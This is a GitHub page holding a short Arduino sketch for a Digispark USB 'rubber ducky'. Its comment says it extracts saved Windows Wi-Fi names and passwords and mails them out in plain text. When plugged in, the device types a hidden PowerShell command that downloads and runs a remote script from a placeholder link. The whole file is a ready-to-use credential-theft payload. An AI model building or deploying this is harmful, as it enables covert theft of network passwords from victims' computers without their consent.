-
Notifications
You must be signed in to change notification settings - Fork 5
/
wifi.ino
37 lines (22 loc) · 803 Bytes
/
wifi.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//A Digispark rubber ducky script for Windows to Extract and Mail Wifi profiles (SSID, password) in plain text format.
#include "DigiKeyboard.h"
void setup()
{
pinMode(1, OUTPUT);
//-->Initial Delay
DigiKeyboard.delay(2000);
// --> Obfuscate the command prompt
DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.print(F("powershell -windowstyle hidden \"IEX (New-Object Net.WebClient).DownloadString('YOUR-DOWNLOAD-LINK-WIFI.PS1');\""));
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
digitalWrite(1, HIGH);
delay(1000); // wait for a second
digitalWrite(1, LOW);
delay(1000);
}